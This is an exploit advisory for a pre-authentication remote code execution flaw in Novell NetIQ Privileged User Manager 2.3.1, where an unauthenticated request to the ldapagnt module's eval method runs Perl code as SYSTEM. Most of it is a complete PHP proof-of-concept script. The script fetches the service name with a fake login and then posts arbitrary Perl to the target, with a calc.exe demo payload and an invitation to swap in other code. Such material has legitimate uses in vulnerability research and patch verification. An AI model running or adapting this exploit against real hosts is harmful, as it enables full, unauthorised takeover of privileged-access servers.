Novell NetIQ Privileged User Manager 2.3.1 - 'ldapagnt.dll' ldapagnt_eval() Perl Code Evaluation Remote Code Execution

Novell NetIQ Privileged User Manager 2.3.1 ldapagnt.dll ldapagnt_eval() 
Perl Code Evaluation RCE (pre auth/SYSTEM)

Tested against: Microsoft Windows 2003 r2 sp2
download url: http://download.novell.com/index.jsp
(search "Privileged User Manager")
file tested: NetIQ-PUM-2.3.1.iso
(decompress and launch netiq_pum_manager_2.3.1_x86.msi)

Background:
The mentioned product installs a Windows service (unifid.exe) called 'npum',
display name: "NetIQ Privileged User Manager" which listens on 
default tcp port 443 (https) for incoming connections.

Vulnerabilty:
The secure web interface contains a flaw which allows, without prior 
authentication, to execute a Perl script with SYSTEM privileges.
This can be done by sending a POST request with well formed
data.

Example data:
  0 : 00 00 00 00 00 01 00 14 53 50 46 2e 55 74 69 6c [........SPF.Util]
 10 : 2e 63 61 6c 6c 4d 6f 64 75 6c 65 41 00 00 00 00 [.callModuleA....]
 20 : 02 0a 0a 00 00 00 01 03 00 03 70 6b 74 03 00 06 [..........pkt...]
 30 : 6d 65 74 68 6f 64 02 00 04 65 76 61 6c 00 06 6d [method...eval..m]
 40 : 6f 64 75 6c 65 02 00 08 6c 64 61 70 61 67 6e 74 [odule...ldapagnt]
 50 : 00 04 45 76 61 6c 03 00 07 63 6f 6e 74 65 6e 74 [..Eval...content]
 60 : 02 00 17 73 79 73 74 65 6d 28 22 63 61 6c 63 2e [...system("calc.]
 70 : 65 78 65 22 29 3b 0a 0a 31 3b 0a 0a 31 3b 00 00 [exe");..1;..1;..]
 80 : 09 00 00 09 00 03 75 69 64 02 00 00 00 00 09 00 [......uid.......]
 90 : 08 73 76 63 5f 6e 61 6d 65 02 00 06 61 6e 64 72 [.svc_name...andr]
 A0 : 65 61 00 00 09 [ea...]

Note that the uid argument is empty.

Explaination:

Open C:\Program Files\Novell\npum\service\local\ldapagnt\module.xml
(this is the configuration file of the 'ldapagnt' module).

...
    <Library type="dso" lib="lib/ldapagnt">
      <Method name="init_ldap_cred" init="init_ldapcred" /> 
      <Method name="eval" svc="ldapagnt_eval" />       <--------------------------
    </Library>
...

no role is defined for the eval() method which corresponds to 
the ldapagnt_eval() function inside ldapagnt.dll.

As attachment, proof of concept code, which launches calc.exe 
from remote. Customize the shellcode for your own use.

PoC:

<?php
/*
Novell NetIQ Privileged User Manager 2.3.1 ldapagnt.dll ldapagnt_eval() Remote 
Perl Code Evaluation RCE (pre auth/SYSTEM)

rgod
*/
    error_reporting(E_ALL ^ E_NOTICE);     
    set_time_limit(0);
    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";
    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    
    function syntax() {
       print("usage: php 9sg_novell_netiq_ii.php [ip_address]\r\n" );
       die();
    }
    
    $argv[1] ? print("[*] Attacking ...\n") :
    syntax();
    
	if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
             print("[*] curl loaded\n");
        } else {
            !dl("php_curl.so") ? die($err[1]) :
             print("[*] curl loaded\n");
        }
    }
        
    function _s($url, $is_post, $ck, $request) {
        global $_use_proxy, $proxy_host, $proxy_port;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($is_post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
        }
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "Cookie: ".$ck,
            "Content-Type: application/x-amf", //do not touch this, important
            "x-flash-version: 11,4,402,278"
        )); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUSMSCOM)");
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
         
        if ($_use_proxy) {
            curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
        }
        $_d = curl_exec($ch);
        if (curl_errno($ch)) {
            //die("[!] ".curl_error($ch)."\n");
        } else {
            curl_close($ch);
        }
        return $_d;
    }

        /*********************************** config **********************************/
          $host = $argv[1];
          $port = 443;
          $code="system(\"calc.exe\");";
          $identity="";
        /*****************************************************************************/

function hex_dump($data, $newline="\n") { 
static $from = '';   
static $to = '';    
static $width = 16; static $pad = '.';  
 if ($from==='')   {     
     for ($i=0; $i<=0xFF; $i++)  { 
         $from .= chr($i);       
         $to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;   
     }   
 }    
$hex = str_split(bin2hex($data), $width*2);   
$chars = str_split(strtr($data, $from, $to), $width);    
$offset = 0;   
foreach ($hex as $i => $line)   {     
    echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . ']' . $newline;     $offset += $width;   
  } 
sleep(1);
}       

print("[*] I need the service name, fake login request ...\n");
$data=
"\x00\x00\x00\x00\x00\x01\x00\x15\x53\x50\x46\x2e\x55\x74".         //  ..........SPF.Ut
"\x69\x6c\x2e\x63\x61\x6c\x6c\x4d\x6f\x64\x75\x6c\x65\x45\x78\x00". //  il.callModuleEx.
"\x02\x2f\x34\x00\x00\x00\x64\x0a\x00\x00\x00\x01\x03\x00\x03\x70". //  ./4...d........p
"\x6b\x74\x03\x00\x0b\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73". //  kt...Credentials
"\x03\x00\x04\x6e\x61\x6d\x65\x02\x00\x04\x74\x65\x73\x74\x00\x06". //  ...name...test..
"\x70\x61\x73\x73\x77\x64\x02\x00\x04\x74\x65\x73\x74\x00\x00\x09". //  passwd...test...
"\x00\x06\x6d\x65\x74\x68\x6f\x64\x02\x00\x05\x6c\x6f\x67\x69\x6e". //  ..method...login
"\x00\x06\x6d\x6f\x64\x75\x6c\x65\x02\x00\x04\x61\x75\x74\x68\x00". //  ..module...auth.
"\x03\x75\x69\x64\x06\x00\x00\x09\x00\x00\x09";                     //  .uid.......
print(hex_dump($data)."\n");
$url = "https://$host:$port/";
$out = _s($url, 1, "", $data);
print(hex_dump($out)."\n");
$tmp=explode("svc",$out);$tmp=$tmp[1];$len=unpack("n",$tmp[1].$tmp[2]);
$svc_name="";
for ($i=0; $i<$len[1]; $i++){
  $svc_name.=$tmp[$i + 3];
}
echo "[*] svc_name -> ".$svc_name."\n";

$data=
"\x00\x00\x00\x00\x00\x01".
"\x00\x14".
"SPF.Util.callModuleA".
"\x00\x00".
"\x00".
"\x00\x02".
"\x0a\x0a". //whatever
"\x00\x00\x00\x01\x03".
"\x00\x03".
"pkt".
"\x03".
"\x00\x06".
"method".
"\x02".
"\x00\x04".
"eval".
"\x00\x06".
"module".
"\x02".
"\x00\x08".
"ldapagnt".
"\x00\x04".
"Eval".
"\x03".
"\x00\x07".
"content".
"\x02".
pack("n",strlen($code) + 4).
$code.
"\x0a\x0a1;\x0a\x0a1;".
"\x00\x00\x09".
"\x00\x00\x09".
"\x00\x03".
"uid".
"\x02".
pack("n",strlen($identity)).
$identity.
"\x00\x00\x09".
"\x00\x08".
"svc_name".
"\x02".
pack("n",strlen($svc_name)).
$svc_name.
"\x00\x00\x09";

print(hex_dump($data)."\n");
$url = "https://$host:$port/";
$out = _s($url, 1, "", $data);
print(hex_dump($out)."\n");
?>